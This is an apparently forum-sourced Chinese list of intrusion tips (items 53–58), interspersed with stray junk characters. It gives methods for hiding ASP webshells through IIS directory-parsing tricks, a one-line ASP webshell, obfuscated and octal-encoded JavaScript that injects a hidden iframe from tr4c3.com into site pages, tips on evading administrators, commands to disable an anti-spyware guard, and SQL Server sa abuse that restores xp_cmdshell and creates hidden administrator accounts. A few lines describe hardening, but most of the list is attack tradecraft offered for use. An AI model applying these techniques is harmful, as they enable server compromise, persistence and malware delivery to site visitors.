53、隐藏ASP后门的两种方法4 T! { U. a% H: b# {; W
1、建立非标准目录:mkdir images..\! S4 w* n8 Y( P: @: k- R
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
% ]( a' D' r: e( v通过web访问ASP木马:http://ip/images../news.asp?action=login. L/ \# G9 v8 [1 n! T8 ]: _3 D# \: C
如何删除非标准目录:rmdir images..\ /s
+ P" q, `% z5 Y! Z1 ~9 y1 l" _5 p2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:1 Z, F- D* g/ A! I$ \& ^) i7 \
mkdir programme.asp
% I: d0 M5 H+ ^& a# f9 t' G新建1.txt文件内容:<!--#include file=”12.jpg”-->
4 }" m5 `* X0 I新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件4 U6 n% m5 y3 U' j; K |5 N; w
attrib +H +S programme.asp
: a% Z4 N+ L$ c, o通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt
, d! k2 W" C0 s" ^* }" b. H7 x% H
$ W6 K+ y' e. u2 `& E7 F54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。
, c1 o. Z4 ]% O+ G: P% t6 M" R然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。 J+ l/ u; Z( _2 h9 ^! Z
$ q% n c- F% Z/ @( T& P
55、JS隐蔽挂马 `7 E/ x/ r$ Q% ]$ ~ {
1.+ p- V% b3 J3 D, X
var tr4c3="<iframe src=ht";
- T4 G2 \: k- u/ I0 T! Y+ V5 I/ Ftr4c3 = tr4c3+"tp:/";/ ?1 `% {" Y: X6 ]) o) H4 q% z* X" P
tr4c3 = tr4c3+"/ww";
: v$ ]; Q3 D0 N8 p5 g1 ctr4c3 = tr4c3+"w.tr4";7 |4 x* @9 `- o2 T0 w6 Y2 n
tr4c3 = tr4c3+"c3.com/inc/m";$ \) I2 ^/ p+ U, _! v1 f0 \% t
tr4c3 = tr4c3+"m.htm style="display:none"></i";# F' E9 ^/ a# \. K( E8 T }' Y
tr4c3 =tr4c3+"frame>'";% O3 r1 W" S' ]9 ^0 W
document.write(tr4c3);6 c9 f& i3 y( f+ t0 [0 h7 F) u! y, d( ~
避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
" ]8 {+ F6 [, _* }- f- J! w
) f; P5 |* g; W2.
+ r2 E4 O: F( d- U( K* @转换进制,然后用EVAL执行。如5 F8 h) ^/ |5 u$ s" _. N; }3 t
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");* N9 f7 _: Y+ b) y8 v4 O t6 Y
不过这个有点显眼。
2 F# Y* J9 f. n, N4 T8 \( d3.
- r2 W% Z2 G, f8 L- udocument.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>'); W6 ]: T: U/ I9 V" c( y
最后一点,别忘了把文件的时间也修改下。
* _5 E+ ^2 r q
4 S& V9 t+ W9 ?) |# ?, k: Q56.3389终端入侵常用DOS命令
) r S( x: V5 _* y7 N6 U. utaskkill taskkill /PID 1248 /t
& w/ j: u. n, l1 ?) e6 D9 u
* W' x% }4 E" r* R$ `/ Etasklist 查进程
2 D0 I3 c# `: R1 e2 d
1 s9 q$ J# d7 _/ gcacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限8 z* n" f* v" T6 u" n: e; v
iisreset /reboot
5 y. ?; C4 c0 I4 G3 O+ }9 Ytsshutdn /reboot /delay:1 重起服务器, ^6 f9 W9 O& t9 f$ D& j: e+ c4 ]
1 w' w: X3 c% O9 g2 x7 s
logoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,
1 W Y6 a9 T* \: F1 @9 I" n8 @2 C4 z: E5 M' l9 ?
query user 查看当前终端用户在线情况8 A0 q/ e, ]. Q/ q% r5 h
) y% p- \& a' H9 m! q. |8 Z- L
要显示有关所有会话使用的进程的信息,请键入:query process *
3 C6 g1 d" p$ F& ^$ R; o+ b* Y5 c( w3 f- T8 g- m
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2" d' `5 m. A4 t& V
% @" X# o9 ]2 `0 R要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2" j8 L+ q4 v! ]
* y$ R8 m9 D9 ~$ I X. L
要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02
5 j6 D0 Q- T, p h' Z2 |+ i
3 n" R( `# g! w/ T) h命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启) u: `" F/ J% g$ l; I
) V6 L# X* b4 Q) R* n/ [8 b8 l/ M+ X命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统/ I% _- M+ J; n! J; c- J9 [1 ^$ A
) e+ ~' S6 E+ m
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。
3 p2 s- G8 i" `# f/ k2 S
4 ?+ X1 i; `4 j! R; [ e命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机 o- [2 @2 T6 w
0 f3 j+ l6 j) P$ J8 e9 v& A- E
56、在地址栏或按Ctrl+O,输入:( n7 \; T% @& M! z$ o, B
javascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;0 t0 ?6 _, V5 A- _
' k8 ?% F% F. `0 B& S
源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
0 r$ B) ^, S; d6 V" F, I o7 w5 a8 o
+ V4 G4 u( r! d0 w5 ]6 u7 I" `57、net user的时候,是不能显示加$的用户,但是如果不处理的话,
5 g# Z+ _* z9 O S用net localgroup administrators是可以看到管理组下,加了$的用户的。
2 `% B: Q. u. R9 p1 u
; C, h( o- t& i8 O+ [, E- l: E6 [58、 sa弱口令相关命令
* b1 I, d, ?* k# q! j9 w* G7 p7 b$ ?) Y, Z E0 L" I" @0 u
一.更改sa口令方法:
) R j+ N( N& R2 Y6 t用sql综合利用工具连接后,执行命令:- F; o: C8 X+ b( h# I
exec sp_password NULL,'20001001','sa'% d* J) q; w( {# L7 X/ t& S
(提示:慎用!)# R. h/ L: F- L9 M, L
# S( x) f; h, B
二.简单修补sa弱口令./ ~) f$ C# I: }0 @5 r# A
, D F* _: ~ Q# ]/ Q3 E
方法1:查询分离器连接后执行:
! L, g" m) c2 m5 M3 e7 L1 [if exists (select * from/ X4 f( Y+ M8 w M/ C
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
( Q1 T O; t$ U7 _* Y( y) ?OBJECTPROPERTY(id, N'IsExtendedProc') = 1)* S" z/ y# q, X
4 i- s1 J% [3 Y8 {& C" p
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
3 g, W9 C/ \8 N- x ]* x, n
2 L$ V+ e( Q$ R: rGO* Q* t; N7 w0 ?* I/ q
8 a& {! r1 t8 f; x, A- _" @
然后按F5键命令执行完毕
2 D1 |- ]2 W7 C" e
- ]; L$ d: A4 K( s( t方法2:查询分离器连接后
0 \6 X |- _) f第一步执行:use master2 [9 {7 ?8 g) C- w1 f! f, I
第二步执行:sp_dropextendedproc 'xp_cmdshell'8 |% `* z0 g) c/ ~
然后按F5键命令执行完毕3 {. W- K! d0 K' t$ x6 v' \. H
: X; D- @- S, ~5 t, }5 L0 u, `
: H/ H9 ^1 _: D Q3 i* w9 |三.常见情况恢复执行xp_cmdshell.9 z) f- I% y8 B) t6 w8 }7 x
- i' z8 v) \# H
! { F9 U4 N, ~, i8 s
1 未能找到存储过程'master..xpcmdshell'.
' r: {* P W0 ?1 c2 H# U0 J 恢复方法:查询分离器连接后,
+ O' l; Y3 W, d4 Q9 s) B. p+ |, t& O3 R. J第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
8 I/ M: X% D* s第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'3 c/ x. A+ m4 M" l
然后按F5键命令执行完毕# {0 M) f, s6 t; o5 p, u U
. _$ Z7 r2 d, m
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)! ]; \( p; f' N8 F7 }
恢复方法:查询分离器连接后,3 \1 }& R3 d/ j* F+ e& ^
第一步执行:sp_dropextendedproc "xp_cmdshell"
: K& f6 I4 E; _( e0 Q( S& z第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
+ @. f6 C) i1 ~6 c# I然后按F5键命令执行完毕
0 y; x# ^8 K* Q" _
0 V* s# ?6 C N1 [" t; s+ Q0 ^2 a. \3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)3 \" O9 E+ N4 H
恢复方法:查询分离器连接后,
- a$ y6 b* N! c' I+ P `# H$ f第一步执行:exec sp_dropextendedproc 'xp_cmdshell'+ ^( i" G/ x5 d$ q
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' ) D# M* V5 ^, S5 {& v! o
然后按F5键命令执行完毕, W, }" T% x& _& ]$ h
4 j7 v! {' V* a+ @; i7 P四.终极方法.
; W4 R7 J! l3 X1 O& c. b( B5 V如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
0 O" m/ d& f: G* U4 a查询分离器连接后,
* x; a% G9 ]- P* w! a* V# `' y2000servser系统:
5 u4 x6 ]9 q# ~1 W' V( A1 _( Pdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'
]1 H& f' V5 m/ c( b4 ~- R" h+ Z! _$ P" S6 d; T* e9 h; D
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'
3 ?+ ?2 ~- H; I8 Q, z8 C5 d/ ?0 i5 D' N5 a3 ?& n
xp或2003server系统:
1 @3 k: k5 `8 c3 y% I; x( n
) P( V& L) z/ s' }/ j/ Tdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add' v7 P0 @5 j' e% k+ l' H
q/ j* y( X8 \/ D4 t6 R1 pdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'
) y: a9 N+ C0 f/ t6 T |